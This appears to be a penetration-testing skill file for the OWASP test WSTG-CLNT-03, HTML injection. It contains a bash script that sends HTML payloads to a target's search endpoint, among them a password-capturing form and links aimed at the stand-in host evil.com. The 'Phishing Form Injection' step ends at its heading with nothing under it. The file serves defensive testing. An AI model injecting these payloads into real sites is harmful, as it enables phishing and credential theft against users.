| name | wstg-clnt-03 |
| description | Testing for HTML Injection |
| category | client-side |
| owasp_id | WSTG-CLNT-03 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-94"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
wstg-clnt-03
Test ID
WSTG-CLNT-03
Test Name
Testing for HTML Injection
High-Level Description
HTML injection allows attackers to inject arbitrary HTML content into web pages. While not as severe as XSS (no script execution), it can be used for phishing, defacement, or to manipulate page content to trick users.
What to Check
How to Test
Step 1: Basic HTML Injection
#!/bin/bash
TARGET="https://target.com"
payloads=(
"<h1>Injected</h1>"
"<a href='https://evil.com'>Click here</a>"
"<form action='https://evil.com'><input name='password'><input type='submit'></form>"
"<img src='https://evil.com/logo.png'>"
"<marquee>HTML Injection</marquee>"
)
for payload in "${payloads[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
response=$(curl -s "$TARGET/search?q=$encoded")
if echo "$response" | grep -q "<h1>Injected\|<a href='\|<form action="; then
echo "[VULN] HTML injection: $payload"
fi
done
Step 2: Phishing Form Injection